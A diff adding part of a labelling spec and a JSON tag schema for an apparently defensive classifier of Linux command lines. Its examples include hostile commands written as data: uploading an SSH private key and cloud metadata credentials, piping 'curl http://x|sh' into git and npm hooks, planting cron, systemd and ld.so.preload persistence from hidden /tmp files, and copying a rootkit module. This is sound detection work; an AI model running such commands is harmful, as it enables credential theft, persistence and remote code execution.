-> download_external_content, stage_temporary_path
|
| 1590 |
+
|
| 1591 |
+
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role
|
| 1592 |
+
-> read_cloud_credentials
|
| 1593 |
+
|
| 1594 |
+
curl https://api.example/healthz
|
| 1595 |
+
-> query_service_health
|
| 1596 |
+
not download_external_content
|
| 1597 |
+
not stage_temporary_path
|
| 1598 |
+
|
| 1599 |
+
curl -sS -o /tmp/api.health -w '%{http_code}\n' https://api.example/ready
|
| 1600 |
+
-> query_service_health
|
| 1601 |
+
not stage_temporary_path
|
| 1602 |
+
|
| 1603 |
+
curl -fsS -b /tmp/.cache/cookies https://example/scriptText -d 'script=id'
|
| 1604 |
+
-> upload_external_content
|
| 1605 |
+
not stage_temporary_path
|
| 1606 |
+
not stage_hidden_path
|
| 1607 |
+
```
|
| 1608 |
+
|
| 1609 |
+
### EX-UPLOAD: Direction And Content Class
|
| 1610 |
+
|
| 1611 |
+
Principles: RFC-P7
|
| 1612 |
+
|
| 1613 |
+
```text
|
| 1614 |
+
curl -T /tmp/report.tar.gz https://ext/upload
|
| 1615 |
+
-> upload_external_content
|
| 1616 |
+
not stage_temporary_path
|
| 1617 |
+
|
| 1618 |
+
curl --data-binary @/home/user/.ssh/id_rsa https://ext/upload
|
| 1619 |
+
-> upload_external_content, upload_credential_material
|
| 1620 |
+
```
|
| 1621 |
+
|
| 1622 |
+
### EX-REMOTE: Boundary Plus Nested Behavior
|
| 1623 |
+
|
| 1624 |
+
Principles: RFC-P8
|
| 1625 |
+
|
| 1626 |
+
```text
|
| 1627 |
+
ssh app01 'cat /etc/ssh/sshd_config'
|
| 1628 |
+
-> execute_remote_command, read_ssh_policy
|
| 1629 |
+
|
| 1630 |
+
kubectl exec deploy/api -- ls /app
|
| 1631 |
+
-> execute_in_workload, enumerate_filesystem
|
| 1632 |
+
|
| 1633 |
+
ssh-keygen -R gitlab.corp
|
| 1634 |
+
-> modify_verification_material
|
| 1635 |
+
not execute_remote_command
|
| 1636 |
+
|
| 1637 |
+
tmux send-keys -t ops 'curl http://x/a|sh' C-m
|
| 1638 |
+
-> send_multiplexer_input
|
| 1639 |
+
not execute_downloaded_content
|
| 1640 |
+
```
|
| 1641 |
+
|
| 1642 |
+
### EX-DOMAIN: Domain-Specific Primary Operation
|
| 1643 |
+
|
| 1644 |
+
Principles: RFC-P9
|
| 1645 |
+
|
| 1646 |
+
```text
|
| 1647 |
+
aws s3 cp /var/log/app.log s3://corp-logs/app.log
|
| 1648 |
+
-> upload_object_storage
|
| 1649 |
+
|
| 1650 |
+
aws s3 cp s3://bucket/db.sql /tmp/db.sql
|
| 1651 |
+
-> download_object_storage, stage_temporary_path
|
| 1652 |
+
|
| 1653 |
+
mc rm prod/bucket/key
|
| 1654 |
+
-> delete_object_storage
|
| 1655 |
+
```
|
| 1656 |
+
|
| 1657 |
+
### EX-FILESYSTEM: Compression And Permissions
|
| 1658 |
+
|
| 1659 |
+
Principles: RFC-P6
|
| 1660 |
+
|
| 1661 |
+
```text
|
| 1662 |
+
gzip -9 /var/log/nginx/access.log.1
|
| 1663 |
+
-> compress_data, read_infrastructure_log
|
| 1664 |
+
|
| 1665 |
+
tar -czf logs.tgz /var/log/nginx /var/log/app
|
| 1666 |
+
-> create_archive, archive_sensitive_content
|
| 1667 |
+
|
| 1668 |
+
chmod u+s /usr/bin/tool
|
| 1669 |
+
-> set_suid_permission
|
| 1670 |
+
|
| 1671 |
+
chmod go-rwx secret.txt
|
| 1672 |
+
-> decrease_file_permission
|
| 1673 |
+
|
| 1674 |
+
chmod 755 script.sh
|
| 1675 |
+
-> modify_file_permission
|
| 1676 |
+
|
| 1677 |
+
mkfifo /tmp/.p
|
| 1678 |
+
-> create_special_filesystem_node, stage_temporary_path, stage_hidden_path
|
| 1679 |
+
|
| 1680 |
+
curl -fsS http://example/payload -o /tmp/.svc
|
| 1681 |
+
-> download_external_content, stage_temporary_path, stage_hidden_path
|
| 1682 |
+
|
| 1683 |
+
cp /tmp/ssh /usr/bin/ssh
|
| 1684 |
+
-> write_system_executable_content
|
| 1685 |
+
not stage_temporary_path
|
| 1686 |
+
|
| 1687 |
+
/tmp/.tool --once
|
| 1688 |
+
-> execute_from_temporary_path
|
| 1689 |
+
not stage_temporary_path
|
| 1690 |
+
not stage_hidden_path
|
| 1691 |
+
|
| 1692 |
+
printf "*/10 * * * * /tmp/.beacon\n" | crontab -
|
| 1693 |
+
-> create_scheduled_task
|
| 1694 |
+
not stage_temporary_path
|
| 1695 |
+
not stage_hidden_path
|
| 1696 |
+
|
| 1697 |
+
printf "[Service]\nExecStart=/tmp/.svc\n" > /etc/systemd/system/a.service
|
| 1698 |
+
-> create_systemd_unit
|
| 1699 |
+
not stage_temporary_path
|
| 1700 |
+
not stage_hidden_path
|
| 1701 |
+
|
| 1702 |
+
echo '/tmp/libx.so' > /etc/ld.so.preload
|
| 1703 |
+
-> modify_library_preload
|
| 1704 |
+
|
| 1705 |
+
echo 'alias ls=ls' >> /etc/profile.d/ops.sh
|
| 1706 |
+
-> modify_shell_startup
|
| 1707 |
+
|
| 1708 |
+
cp /tmp/locale-archive /usr/lib/locale/locale-archive
|
| 1709 |
+
-> modify_critical_system_path
|
| 1710 |
+
|
| 1711 |
+
printf 'curl http://x|sh\n' > .git/hooks/post-commit
|
| 1712 |
+
-> modify_repository_hook
|
| 1713 |
+
|
| 1714 |
+
npm pkg set scripts.postinstall='curl http://x|sh'
|
| 1715 |
+
-> modify_package_execution_hook
|
| 1716 |
+
|
| 1717 |
+
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/rootkit.ko
|
| 1718 |
+
-> write_kernel_module_content
|
| 1719 |
+
|
| 1720 |
+
update-ca-certificates
|
| 1721 |
+
-> modify_trust_store
|
| 1722 |
+
|
| 1723 |
+
nmap -oN /tmp/scan.txt 10.0.0.0/24
|
| 1724 |
+
-> probe_multiple_endpoints_multiple_ports
|
| 1725 |
+
not stage_temporary_path
|
| 1726 |
+
not any file-path behavior tag
|
| 1727 |
+
```
|
schema/tags_schema_rev20.json
ADDED
|
@@ -0,0 +1,415 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"schema_id": "agent_smith_linux_cmdline_behavior_rev20",
|
| 3 |
+
"schema_version": 1,
|
| 4 |
+
"vocabulary_revision": 20,
|
| 5 |
+
"status": "draft_pending_manual_reverse_review",
|
| 6 |
+
"purpose": "Objective single-command Linux behavior recognition using one flat vocabulary of complete detection-relevant behaviors.",
|
| 7 |
+
"label_row_schema": {
|
| 8 |
+
"behavior_tags": [
|
| 9 |
+
"zero or more visible complete behavior labels"
|
| 10 |
+
]
|
| 11 |
+
},
|
| 12 |
+
"invariants": [
|
| 13 |
+
"Training and evaluation label rows use one flat behavior_tags array; prediction output exposes ranked top_labels.",
|
| 14 |
+
"Each label describes a complete visible behavior rather than a fragment that downstream code must recombine.",
|
| 15 |
+
"Labels may combine an operation with a stable target, scope, direction, or execution form when that combination materially changes detection meaning.",
|
| 16 |
+
"Emit the most-specific applicable behavior and suppress its generic parent behavior.",
|
| 17 |
+
"A compound cmdline may emit multiple independent behaviors when each stage is visibly executed.",
|
| 18 |
+
"Labels describe objective syntax-visible behavior, never maliciousness, authorization, risk, ancestry, session intent, or verdict.",
|
| 19 |
+
"Do not infer successful results, resolved host classes, hidden content, or targets not established by visible syntax.",
|
| 20 |
+
"Single-object and single-endpoint scope is the default and is not encoded unless it is part of a complete behavior label.",
|
| 21 |
+
"New labels must represent a repeated, stable detection distinction across unrelated tools or environments.",
|
| 22 |
+
"Product, vendor, campaign, malware-family, and organization-specific labels are forbidden."
|
| 23 |
+
],
|
| 24 |
+
"groups": {
|
| 25 |
+
"observation_and_discovery": [
|
| 26 |
+
"read_system_config",
|
| 27 |
+
"read_infrastructure_config",
|
| 28 |
+
"read_business_config",
|
| 29 |
+
"read_auth_policy",
|
| 30 |
+
"inspect_audit_policy",
|
| 31 |
+
"read_identity_data",
|
| 32 |
+
"read_credential_material",
|
| 33 |
+
"read_verification_material",
|
| 34 |
+
"modify_verification_material",
|
| 35 |
+
"read_shell_history",
|
| 36 |
+
"read_login_history",
|
| 37 |
+
"read_auth_audit_log",
|
| 38 |
+
"read_system_audit_log",
|
| 39 |
+
"read_system_log",
|
| 40 |
+
"read_infrastructure_log",
|
| 41 |
+
"read_business_log",
|
| 42 |
+
"read_business_data",
|
| 43 |
+
"read_source_code",
|
| 44 |
+
"inspect_system_state",
|
| 45 |
+
"read_process_runtime",
|
| 46 |
+
"read_environment_variables",
|
| 47 |
+
"read_cloud_metadata",
|
| 48 |
+
"read_cloud_credentials",
|
| 49 |
+
"read_container_secret",
|
| 50 |
+
"inspect_current_identity",
|
| 51 |
+
"inspect_current_privileges",
|
| 52 |
+
"enumerate_users",
|
| 53 |
+
"enumerate_logged_in_users",
|
| 54 |
+
"enumerate_processes",
|
| 55 |
+
"enumerate_open_files",
|
| 56 |
+
"enumerate_network_connections",
|
| 57 |
+
"enumerate_listeners",
|
| 58 |
+
"inspect_network_state",
|
| 59 |
+
"enumerate_services",
|
| 60 |
+
"inspect_service",
|
| 61 |
+
"enumerate_scheduled_tasks",
|
| 62 |
+
"read_scheduled_task",
|
| 63 |
+
"execute_scheduled_task",
|
| 64 |
+
"enumerate_filesystem",
|
| 65 |
+
"inspect_storage_state",
|
| 66 |
+
"enumerate_packages",
|
| 67 |
+
"enumerate_kernel_modules",
|
| 68 |
+
"enumerate_containers",
|
| 69 |
+
"enumerate_workloads",
|
| 70 |
+
"enumerate_cloud_resources",
|
| 71 |
+
"search_credentials",
|
| 72 |
+
"search_sensitive_files",
|
| 73 |
+
"search_suid_files",
|
| 74 |
+
"search_sgid_files",
|
| 75 |
+
"search_capability_files",
|
| 76 |
+
"search_world_writable_files"
|
| 77 |
+
],
|
| 78 |
+
"configuration_and_log_modification": [
|
| 79 |
+
"modify_system_config",
|
| 80 |
+
"modify_infrastructure_config",
|
| 81 |
+
"modify_business_config",
|
| 82 |
+
"modify_audit_policy",
|
| 83 |
+
"modify_shell_history",
|
| 84 |
+
"clear_shell_history",
|
| 85 |
+
"clear_login_history",
|
| 86 |
+
"append_system_log",
|
| 87 |
+
"delete_audit_log",
|
| 88 |
+
"delete_system_log",
|
| 89 |
+
"delete_infrastructure_log",
|
| 90 |
+
"delete_business_log"
|
| 91 |
+
],
|
| 92 |
+
"filesystem_and_data": [
|
| 93 |
+
"stage_temporary_path",
|
| 94 |
+
"stage_hidden_path",
|
| 95 |
+
"modify_critical_system_path",
|
| 96 |
+
"create_special_filesystem_node",
|
| 97 |
+
"modify_symlink",
|
| 98 |
+
"inspect_file_metadata",
|
| 99 |
+
"change_file_ownership",
|
| 100 |
+
"modify_file_permission",
|
| 101 |
+
"increase_file_permission",
|
| 102 |
+
"decrease_file_permission",
|
| 103 |
+
"set_suid_permission",
|
| 104 |
+
"set_sgid_permission",
|
| 105 |
+
"set_file_capability",
|
| 106 |
+
"remove_file_capability",
|
| 107 |
+
"modify_file_acl",
|
| 108 |
+
"modify_file_timestamp",
|
| 109 |
+
"set_immutable_file_attribute",
|
| 110 |
+
"remove_immutable_file_attribute",
|
| 111 |
+
"create_archive",
|
| 112 |
+
"archive_sensitive_content",
|
| 113 |
+
"extract_archive",
|
| 114 |
+
"compress_data",
|
| 115 |
+
"write_executable_content",
|
| 116 |
+
"write_shared_library_content",
|
| 117 |
+
"write_system_executable_content",
|
| 118 |
+
"write_web_script_content",
|
| 119 |
+
"write_ransom_note",
|
| 120 |
+
"encode_data",
|
| 121 |
+
"decode_data",
|
| 122 |
+
"encrypt_data",
|
| 123 |
+
"decrypt_data",
|
| 124 |
+
"securely_delete_data",
|
| 125 |
+
"recover_deleted_content"
|
| 126 |
+
],
|
| 127 |
+
"execution_and_process": [
|
| 128 |
+
"execute_from_temporary_path",
|
| 129 |
+
"execute_from_user_writable_path",
|
| 130 |
+
"execute_downloaded_content",
|
| 131 |
+
"execute_remote_command",
|
| 132 |
+
"execute_in_container",
|
| 133 |
+
"execute_in_chroot",
|
| 134 |
+
"execute_detached_process",
|
| 135 |
+
"execute_with_changed_identity",
|
| 136 |
+
"execute_via_dynamic_loader",
|
| 137 |
+
"execute_encoded_command",
|
| 138 |
+
"spawn_interactive_shell",
|
| 139 |
+
"spawn_reverse_shell",
|
| 140 |
+
"spawn_bind_shell",
|
| 141 |
+
"create_multiplexer_session",
|
| 142 |
+
"attach_multiplexer_session",
|
| 143 |
+
"send_multiplexer_input",
|
| 144 |
+
"read_process_memory",
|
| 145 |
+
"modify_process_memory",
|
| 146 |
+
"capture_process_memory",
|
| 147 |
+
"capture_process_state",
|
| 148 |
+
"inject_process_code",
|
| 149 |
+
"trace_process_execution",
|
| 150 |
+
"trace_file_access",
|
| 151 |
+
"attach_process_debugger",
|
| 152 |
+
"terminate_process",
|
| 153 |
+
"inspect_process_runtime_attributes",
|
| 154 |
+
"modify_process_runtime_attributes",
|
| 155 |
+
"set_environment_variable"
|
| 156 |
+
],
|
| 157 |
+
"network": [
|
| 158 |
+
"probe_single_endpoint_single_port",
|
| 159 |
+
"probe_single_endpoint_multiple_ports",
|
| 160 |
+
"probe_multiple_endpoints_single_port",
|
| 161 |
+
"probe_multiple_endpoints_multiple_ports",
|
| 162 |
+
"probe_single_endpoint",
|
| 163 |
+
"probe_multiple_endpoints",
|
| 164 |
+
"probe_web_application",
|
| 165 |
+
"probe_database_service",
|
| 166 |
+
"probe_remote_access_service",
|
| 167 |
+
"connect_local_service",
|
| 168 |
+
"connect_internal_service",
|
| 169 |
+
"connect_external_service",
|
| 170 |
+
"manage_vpn_connection",
|
| 171 |
+
"listen_local_port",
|
| 172 |
+
"listen_network_port",
|
| 173 |
+
"create_forward_tunnel",
|
| 174 |
+
"create_reverse_tunnel",
|
| 175 |
+
"create_dynamic_proxy",
|
| 176 |
+
"attempt_remote_authentication",
|
| 177 |
+
"inspect_firewall_policy",
|
| 178 |
+
"modify_firewall_policy",
|
| 179 |
+
"modify_route",
|
| 180 |
+
"modify_dns_config",
|
| 181 |
+
"query_dns_records",
|
| 182 |
+
"perform_dns_zone_transfer",
|
| 183 |
+
"capture_network_packets",
|
| 184 |
+
"capture_network_flows",
|
| 185 |
+
"read_packet_capture",
|
| 186 |
+
"download_local_content",
|
| 187 |
+
"download_internal_content",
|
| 188 |
+
"download_external_content",
|
| 189 |
+
"download_named_content",
|
| 190 |
+
"download_script",
|
| 191 |
+
"download_executable",
|
| 192 |
+
"upload_internal_content",
|
| 193 |
+
"upload_external_content",
|
| 194 |
+
"upload_named_content",
|
| 195 |
+
"upload_credential_material",
|
| 196 |
+
"upload_sensitive_content",
|
| 197 |
+
"synchronize_remote_data",
|
| 198 |
+
"query_service_health",
|
| 199 |
+
"read_service_metrics",
|
| 200 |
+
"run_performance_test",
|
| 201 |
+
"fetch_remote_certificate",
|
| 202 |
+
"send_mail",
|
| 203 |
+
"read_mailbox",
|
| 204 |
+
"connect_mail_server",
|
| 205 |
+
"fetch_remote_mail",
|
| 206 |
+
"inspect_mail_queue",
|
| 207 |
+
"modify_mail_queue",
|
| 208 |
+
"train_mail_filter"
|
| 209 |
+
],
|
| 210 |
+
"identity_auth_and_secrets": [
|
| 211 |
+
"crack_credential_material",
|
| 212 |
+
"create_user",
|
| 213 |
+
"delete_user",
|
| 214 |
+
"modify_user_identity",
|
| 215 |
+
"modify_group_identity",
|
| 216 |
+
"modify_group_membership",
|
| 217 |
+
"change_password",
|
| 218 |
+
"modify_user_access_state",
|
| 219 |
+
"grant_user_privilege",
|
| 220 |
+
"revoke_user_privilege",
|
| 221 |
+
"modify_sudo_policy",
|
| 222 |
+
"read_sudo_policy",
|
| 223 |
+
"read_ssh_policy",
|
| 224 |
+
"modify_ssh_policy",
|
| 225 |
+
"modify_ssh_authorization",
|
| 226 |
+
"modify_pam_policy",
|
| 227 |
+
"modify_auth_policy",
|
| 228 |
+
"inspect_auth_policy",
|
| 229 |
+
"modify_trust_store",
|
| 230 |
+
"switch_user",
|
| 231 |
+
"create_ssh_key",
|
| 232 |
+
"import_ssh_key",
|
| 233 |
+
"export_ssh_key",
|
| 234 |
+
"create_access_token",
|
| 235 |
+
"renew_access_token",
|
| 236 |
+
"revoke_access_token",
|
| 237 |
+
"create_credential_material",
|
| 238 |
+
"delete_credential_material",
|
| 239 |
+
"read_secret_store",
|
| 240 |
+
"write_secret_store",
|
| 241 |
+
"delete_secret_store"
|
| 242 |
+
],
|
| 243 |
+
"persistence_services_and_storage": [
|
| 244 |
+
"manage_virtual_machine",
|
| 245 |
+
"create_scheduled_task",
|
| 246 |
+
"modify_scheduled_task",
|
| 247 |
+
"delete_scheduled_task",
|
| 248 |
+
"create_systemd_unit",
|
| 249 |
+
"modify_systemd_unit",
|
| 250 |
+
"delete_systemd_unit",
|
| 251 |
+
"enable_service",
|
| 252 |
+
"disable_service",
|
| 253 |
+
"modify_service_state",
|
| 254 |
+
"install_boot_persistence",
|
| 255 |
+
"modify_shell_startup",
|
| 256 |
+
"modify_dynamic_loader",
|
| 257 |
+
"modify_library_preload",
|
| 258 |
+
"create_startup_script",
|
| 259 |
+
"modify_startup_script",
|
| 260 |
+
"modify_mount_state",
|
| 261 |
+
"mount_remote_filesystem",
|
| 262 |
+
"format_filesystem",
|
| 263 |
+
"resize_filesystem",
|
| 264 |
+
"modify_swap_state",
|
| 265 |
+
"wipe_storage",
|
| 266 |
+
"modify_storage_volume",
|
| 267 |
+
"manage_snapshot",
|
| 268 |
+
"shutdown_host",
|
| 269 |
+
"modify_system_time",
|
| 270 |
+
"reboot_host"
|
| 271 |
+
],
|
| 272 |
+
"kernel_memory_and_tracing": [
|
| 273 |
+
"read_kernel_state",
|
| 274 |
+
"read_kernel_parameter",
|
| 275 |
+
"modify_kernel_parameter",
|
| 276 |
+
"write_kernel_module_content",
|
| 277 |
+
"load_kernel_module",
|
| 278 |
+
"unload_kernel_module",
|
| 279 |
+
"inspect_kernel_module",
|
| 280 |
+
"load_ebpf_program",
|
| 281 |
+
"unload_ebpf_program",
|
| 282 |
+
"inspect_ebpf_program",
|
| 283 |
+
"read_kernel_memory",
|
| 284 |
+
"modify_kernel_memory",
|
| 285 |
+
"modify_bootloader",
|
| 286 |
+
"modify_security_module_policy"
|
| 287 |
+
],
|
| 288 |
+
"package_build_and_source": [
|
| 289 |
+
"install_package",
|
| 290 |
+
"simulate_package_install",
|
| 291 |
+
"uninstall_package",
|
| 292 |
+
"update_package",
|
| 293 |
+
"verify_artifact_integrity",
|
| 294 |
+
"generate_artifact_digest",
|
| 295 |
+
"sign_artifact",
|
| 296 |
+
"build_source_code",
|
| 297 |
+
"clone_source_repository",
|
| 298 |
+
"read_source_repository",
|
| 299 |
+
"update_source_repository",
|
| 300 |
+
"modify_source_repository",
|
| 301 |
+
"modify_repository_hook",
|
| 302 |
+
"publish_source_repository",
|
| 303 |
+
"modify_source_code",
|
| 304 |
+
"delete_source_code",
|
| 305 |
+
"modify_language_dependency",
|
| 306 |
+
"modify_package_execution_hook",
|
| 307 |
+
"execute_package_hook"
|
| 308 |
+
],
|
| 309 |
+
"database_and_infrastructure_services": [
|
| 310 |
+
"open_data_service_session",
|
| 311 |
+
"manage_data_processing_job",
|
| 312 |
+
"query_database_data",
|
| 313 |
+
"modify_database_data",
|
| 314 |
+
"delete_database_data",
|
| 315 |
+
"enumerate_database_schema",
|
| 316 |
+
"modify_database_schema",
|
| 317 |
+
"export_database_dump",
|
| 318 |
+
"import_database_dump",
|
| 319 |
+
"create_database",
|
| 320 |
+
"delete_database",
|
| 321 |
+
"modify_database_account",
|
| 322 |
+
"grant_database_privilege",
|
| 323 |
+
"revoke_database_privilege",
|
| 324 |
+
"modify_infrastructure_account",
|
| 325 |
+
"grant_infrastructure_privilege",
|
| 326 |
+
"revoke_infrastructure_privilege",
|
| 327 |
+
"inspect_infrastructure_service",
|
| 328 |
+
"modify_database_replication",
|
| 329 |
+
"manage_database_backup",
|
| 330 |
+
"manage_infrastructure_backup",
|
| 331 |
+
"query_cache_data",
|
| 332 |
+
"modify_cache_data",
|
| 333 |
+
"flush_cache_data",
|
| 334 |
+
"publish_message",
|
| 335 |
+
"consume_message",
|
| 336 |
+
"read_coordination_data",
|
| 337 |
+
"modify_coordination_data",
|
| 338 |
+
"enumerate_object_storage",
|
| 339 |
+
"upload_object_storage",
|
| 340 |
+
"download_object_storage",
|
| 341 |
+
"delete_object_storage",
|
| 342 |
+
"modify_object_storage"
|
| 343 |
+
],
|
| 344 |
+
"containers_and_cloud_native": [
|
| 345 |
+
"inspect_container_runtime",
|
| 346 |
+
"build_container_image",
|
| 347 |
+
"inspect_container_image",
|
| 348 |
+
"scan_container_image",
|
| 349 |
+
"transfer_container_image",
|
| 350 |
+
"delete_container_image",
|
| 351 |
+
"create_container_pod",
|
| 352 |
+
"modify_container_state",
|
| 353 |
+
"delete_container",
|
| 354 |
+
"create_privileged_container",
|
| 355 |
+
"mount_host_into_container",
|
| 356 |
+
"modify_container_network",
|
| 357 |
+
"enumerate_cluster_resources",
|
| 358 |
+
"enumerate_container_images",
|
| 359 |
+
"inspect_workload",
|
| 360 |
+
"modify_workload",
|
| 361 |
+
"execute_in_workload",
|
| 362 |
+
"read_workload_logs",
|
| 363 |
+
"read_cluster_secret",
|
| 364 |
+
"read_cluster_context",
|
| 365 |
+
"enumerate_cluster_secrets",
|
| 366 |
+
"create_cluster_secret",
|
| 367 |
+
"modify_cluster_secret",
|
| 368 |
+
"delete_cluster_secret",
|
| 369 |
+
"export_cluster_resources",
|
| 370 |
+
"grant_cluster_privilege",
|
| 371 |
+
"modify_cluster_auth_policy",
|
| 372 |
+
"create_cluster_identity",
|
| 373 |
+
"export_cluster_config",
|
| 374 |
+
"verify_auth_policy",
|
| 375 |
+
"port_forward_workload",
|
| 376 |
+
"create_local_kubernetes_cluster",
|
| 377 |
+
"inspect_local_kubernetes_cluster",
|
| 378 |
+
"delete_local_kubernetes_cluster"
|
| 379 |
+
],
|
| 380 |
+
"cloud_control_plane": [
|
| 381 |
+
"authenticate_cloud_cli",
|
| 382 |
+
"configure_cloud_cli",
|
| 383 |
+
"enumerate_cloud_accounts",
|
| 384 |
+
"enumerate_cloud_identity",
|
| 385 |
+
"create_cloud_identity",
|
| 386 |
+
"modify_cloud_identity",
|
| 387 |
+
"delete_cloud_identity",
|
| 388 |
+
"create_cloud_access_key",
|
| 389 |
+
"grant_cloud_privilege",
|
| 390 |
+
"revoke_cloud_privilege",
|
| 391 |
+
"modify_cloud_identity_policy",
|
| 392 |
+
"create_cloud_compute",
|
| 393 |
+
"execute_cloud_compute",
|
| 394 |
+
"connect_cloud_database",
|
| 395 |
+
"query_cloud_database",
|
| 396 |
+
"create_cloud_resource",
|
| 397 |
+
"modify_cloud_resource",
|
| 398 |
+
"delete_cloud_resource",
|
| 399 |
+
"modify_cloud_firewall",
|
| 400 |
+
"query_cloud_audit",
|
| 401 |
+
"enumerate_cloud_secrets",
|
| 402 |
+
"read_cloud_secret",
|
| 403 |
+
"modify_cloud_secret",
|
| 404 |
+
"initialize_infrastructure_template",
|
| 405 |
+
"plan_infrastructure_template",
|
| 406 |
+
"apply_infrastructure_template",
|
| 407 |
+
"destroy_infrastructure_template",
|
| 408 |
+
"deploy_cloud_template"
|
| 409 |
+
]
|
| 410 |
+
},
|
| 411 |
+
"validation_gate": {
|
| 412 |
+
"acceptance": "Before corpus migration, manually reverse-label representative held-out cmdlines and require >=98% exact behavior_tags agreement without expanding the vocabulary for one-off cases.",
|
| 413 |
+
"change_policy": "Add, merge, rename, or remove labels only for repeated structural failures or unstable boundaries."
|
| 414 |
+
}
|
| 415 |
+
}
|
semantic_texts.jsonl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:fb9cf11a9b181f21c157767d2076b0af397b7015c9bd80e6b31bba4727694215
|
| 3 |
+
size 161486
|
sentence_bert_config.json
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"max_seq_length": 160,
|
| 3 |
+
"do_lower_case": false
|
| 4 |
+
}
|
special_tokens_map.json
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
